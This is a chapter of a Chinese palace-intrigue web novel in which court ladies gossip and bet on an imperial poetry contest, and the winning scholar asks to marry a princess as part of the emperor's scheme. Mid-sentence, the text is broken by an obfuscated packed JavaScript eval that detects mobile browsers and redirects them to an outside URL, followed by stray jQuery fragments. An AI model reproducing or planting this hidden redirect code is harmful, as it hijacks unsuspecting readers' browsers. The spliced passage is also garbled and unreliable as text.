25. 第25章

作品:《穿成炮灰,干掉主角当女皇

    看不见新科进士们了,小娘子们遗憾地回到殿内,三五成群地凑在一处讨论起来。


    太后正与娘家大嫂杨夫人说话,见状笑道:“想当年我没进宫时,性子也是这般活泼,为了一睹新科进士们的风采,还特意提前好些天定了御街茶楼的位置,就等着他们从底下经过呢。”


    杨夫人也笑了:“可不是,当初我跟娘娘为了争夺茶楼雅间,还吵了起来,不过不打不相识,咱们也因此成了好友,后来娘娘还为我和夫君做媒……”


    忆起当年之事,两人都有些感慨。


    太后:“黄鹂,你去隔壁瞅瞅,看看那些新科进士都是个什么情况,回来说与我听,也叫殿里这些小娘子们听一听。”


    黄鹂脆应一声,去了。


    隔了一阵回来直播隔壁的盛况:“回太后,诸位夫人娘子,皇上给新科进士们赐了簪花,状元郎拿了一朵琼雪,榜眼拿了一朵魏紫,探花郎拿了一朵姚黄……”


    这些都是牡丹的品种,而姚黄、魏紫乃是花中之王,向来受文人雅士的追捧喜爱。


    杨夫人奇怪道:“状元郎怎么选了朵琼雪呢,虽然也好看,但在这么个喜庆的日子,戴白花总归有些不大吉利。”


    太后:“这你就不知道了吧,今日乃是裴夫人的忌日,想来裴少清是在祭奠她娘。


    “裴夫人当年可是一位养花高手,尤以牡丹养得好,听说她当年养出了一朵双色牡丹,可惜自她去后,再无人能养出来了。”


    杨夫人:“你这一说我就想起来了,裴少清能长得这么好,有一大半要归功于裴夫人,当年裴夫人可是被人誉为‘牡丹仙子’,她一出现,连国色天香的牡丹都要黯然失色。”


    太后:“可不是,毛贵妃自诩貌美,还不是因为裴夫人去得早,要是裴夫人在,有她什么事。”


    对于毛贵妃这位情敌+政敌,太后可是怨气颇重,即便毛贵妃已经死了多年,她也还是时不时就要拿出来说一顿。


    对此,殿内其余人也不敢接茬,只是赔着笑,活跃着气氛。


    毛贵妃到底是皇上的生母,太后能说,她们能跟着说吗?要是传到皇上耳朵里,她们自己连带着在朝为官的夫君怕是都要倒大霉了。


    “裴九郎可说亲了?他家世好,模样俊,如今又高中状元,真是打着灯笼都难找的好夫婿啊。”


    “听说三年前,姜相慧眼识珠,早早就给姜二娘子,也就是如今的德妃娘娘,和裴九郎定下了婚约,不过姜二娘子一心进宫,将婚事给退了。”


    “也不知道德妃娘娘如今有没有后悔。”


    “肯定是后悔了,不然德妃怎么会忍不住寂寞,跟侍卫私通呢,听说她进宫月余,手臂上的守宫砂还在呢。”


    “啊?不会吧?德妃跟侍卫私通,那怎么还能好端端地坐在这儿呢?”


    “听说啊,德妃私通,被皇上抓了个正着,皇上一气之下将她打入冷宫,还下旨赐死,结果她喝下鸩酒后,居然死而复生了!”


    “还有这等奇事?那后来呢?”


    “后来宫里怀疑德妃是被什么脏东西给夺舍附体了,于是请了无相大师进宫做法驱邪。”


    “这肯定是谣传吧?要是德妃真被脏东西附体了,宫里还能让她活得好好的?”


    “我看不然,无相大师从宫里出来的第二天就圆寂了,怕不是做法失败,遭到了反噬,总之德妃邪性得很,咱们还是离得她远远儿的吧。”


    一不小心就成了话题中心的姜念虞对此浑然不觉,一心只盯着眼前的美食。


    连殿中央的歌舞表演都没顾得上看。


    黄鹂探到了新消息:“太后,皇上以风筝为题,让新科进士们当场作诗,还说谁要是得了魁首,就许诺他一件事。”


    这话一出,殿内嗡嗡声顿起,众人都议论纷纷。


    “这魁首除了裴九郎,还有谁能当得?”


    “不然,裴九郎纵然才高八斗,其余之人也不见得是庸人,别人不说,那探花郎也是才华出众之辈,魁首花落谁家,还说不定呢。”


    “君无戏言,一旦得了魁首,就能让皇上答应他一件事,这可真是令人艳羡啊。”


    “不如咱们来赌一下?就赌谁最后能拿到魁首。”


    “好啊,我压裴九郎,赌注就是我腕上这根碧玉镯。”


    “我压探花郎,抵上这根簪子。”


    ……


    太后见了,摘下了头上的一根簪子,笑吟吟道:“我也来凑个趣儿,就赌裴九郎赢。黄鹂,再去探,看看是谁摘得了魁首。”


    不一会儿黄鹂来报:“太后,诸位夫人,皇上和诸位大臣商议,一致觉得探花郎的风筝诗做得最好,所以点了探花郎为魁首。”


    “哎呀,怎么是探花郎呢,我刚打的金簪啊。”


    “也不知那探花郎做了什么诗?”


    黄鹂当即将探花郎的诗念了出来,原本还有些怀疑的人,顿时没声了。


    “魁首之名,的确不虚。”


    “那裴九郎呢?他又做了什么诗?”


    黄鹂也当众念了一遍。


    众人听完,一时沉默下来。


    过了会儿才有人道:“裴九郎的诗也是作得极好的,只可惜,不应题。”


    皇帝给的题目是“风筝”,而裴九郎写的却是这场琼林宴,写宴会多么奢华,饮食多么美味,器物多么珍贵……关键写这些也就罢了,最后他偏偏还要来一句百姓过得多么苦。


    衬得她们所有人都变成了不识人间疾苦的恶人。


    这大好的日子里,他做这样一首诗,皇上能高兴吗?能把魁首给他吗?


    相比较起来,探花郎的诗就讨巧多了,一派花团锦簇、国泰民安的景象,相当于给皇帝和群臣拍了一记高明的马屁。


    太后问:“那探花郎向皇上提什么要求了?”


    黄鹂答:“探花郎从怀中拿出了一幅画,画中是一名绝色女子,他说这是他梦中所见,想请皇上为他找到此女。”


    太后哈哈一笑,“梦中之人,不过是虚幻罢了,又怎么会存在于这世间呢?”


    黄鹂莞尔一笑:“太后娘娘,这您就猜错了,那画上女子,不仅存在于世,而且还远在天边近在眼前呢。”


    太后和众人都被这句话给吊起了胃口。


    太后连忙追问:“哦?那女子是谁?”


    黄鹂目光投向左侧的席位,落在了其中一人身上,众人一阵惊奇,也跟着看了过去。


    “太后娘娘,那女子正是蓁蓁公主。”


    姜念虞:来了来了,李?狗?淳带着他的阴谋诡计来了。


    她将嘴里的食物咽下去,戳了戳李玄璋的后背。


    众目睽睽之下,李玄璋不好跟她交头接耳,只道:“吃你的,看戏便是。”


    姜念虞看他这么淡定,根本用不着她担心,于是吃得更欢了。


    这个鱼好吃,可惜刺多。


    这个虾也好吃,可惜要剥壳。


    还是吃丸子吧,不用吐刺不用剥壳也不用吐骨头……


    中大殿内,李淳看了画后,朗声一笑,“此女不用找,朕知道‘她’在哪儿,宣蓁蓁公主。”


    李玄璋被迫离席,跟着来传唤的太监去了隔壁。


    探花郎见到一身粉裙仙姿昳貌的蓁蓁公主,呆呆地盯着看了半晌,反应过来后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049494|135786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忙向她行礼告罪。


    “殿下恕罪,在下唐突了。”


    李玄璋压根儿没搭理他,抱着布娃娃动作有些笨拙地向上首的李淳行礼。


    “蓁蓁见过皇兄。”说话时神态天真,语气懵懂,仿佛一个幼童。


    探花郎见状,不由有些愕然,这位蓁蓁公主似乎有些不大正常?


    李淳:“蓁蓁,如今你年岁也不小了,朕欲给你做一门亲,将你许给这位不过弱冠之年就已金榜题名、高中探花的少年郎君,你意下如何?”


    探花郎脸色爆红,偷瞥了蓁蓁公主一眼,心跳狂乱。


    若是能将梦中心心念念的佳人娶回家,那他做梦都会笑醒。


    旋即又惶恐起来,若是公主殿下不答应怎么办?


    李玄璋脑袋一歪,问李淳:“皇兄,做亲是什么意思啊?”


    李淳没有回答他的问题,而是先向探花郎解释了一句:“蓁蓁小时候发过一场高烧,退烧后命虽然保住了,心智却停留在了幼童时期,所以言行举止有些……天真烂漫。”


    探花郎忙表明心意:“皇上,微臣一点也不介意,若是公主能下嫁微臣,那是微臣三生有幸,微臣定会待殿下如珠如宝,万分珍重。”


    李淳:“蓁蓁,你说呢?”


    李玄璋神情慌张:“皇兄不要赶蓁蓁走,蓁蓁会听话的……”


    见状,探花郎心疼极了,恨不能将她抱在怀里好生安抚,然而碍于这里是大庭广众之下,当着皇上和群臣的面,他不好做出唐突之举。


    李淳叹息一声:“看来蓁蓁并不愿意出嫁,朕也不能勉强你,罢了,那朕便养你一辈子。”


    吩咐墨春:“送公主殿下回席吧。”


    探花郎失落极了,目光巴巴地追着蓁蓁的背影,舍不得收回。


    李淳看在眼里,嘴角勾了勾。


    回到席位,李玄璋见姜念虞依旧在那里不停地吃,仿佛一只披着美丽人皮的饕餮,眼中只有食物,对于他的来去毫不留意,也毫不关心,心下忽的有些不平。


    从自己桌上夹了一块肉,伸到她面前。


    姜念虞果然被肉块吸引了注意力,抬头朝他看过来,“给我的?”


    李玄璋将肉块移动位置,她的眼珠子也跟着肉块转动,肉块往左,她就往左看,肉块往右,她就往右看,跟只小狗似的。


    他忍不住笑了一声,觉得自己跟这样一个人计较,真是太过幼稚了。


    将肉块放进她碗里,问她:“姐姐,李淳想给我和探花郎赐婚,这事你梦到过吗?”


    姜念虞:“梦到过啊,但是我没法告诉你嘛,你应该拒绝了吧?”


    李淳给李玄璋和探花郎做媒,一是为了恶心李玄璋,二是想将李玄璋弄出皇宫——李玄璋在皇宫一日,他就一日不得安宁。


    三么,就是想借着李玄璋的手除掉探花郎。


    前世李玄璋谋朝篡位后,探花郎有一次觐见他,路过被拴在大殿门口柱子上的前皇帝李淳时,被他抓住了脚。


    李淳嗓子嘶哑地朝他喊:“杀了我……”


    探花郎害怕地躲开了。


    所以,探花郎也上了李?狗?淳的黑名单。


    李淳了解李玄璋,知道他为了不嫁给探花郎,很可能会对探花郎动手,让他“意外死亡”。


    而这,就是李淳的目的——借李玄璋的手,除掉他自己想杀的人。


    李玄璋:“我说不想离开皇宫,他就没再坚持了,这实在不符合他的性子,我猜他还安排了后招等着我。”


    姜念虞:“你猜得没错。”


    可惜她被世界意识捂了嘴,没法告诉他李淳的下一步阴谋。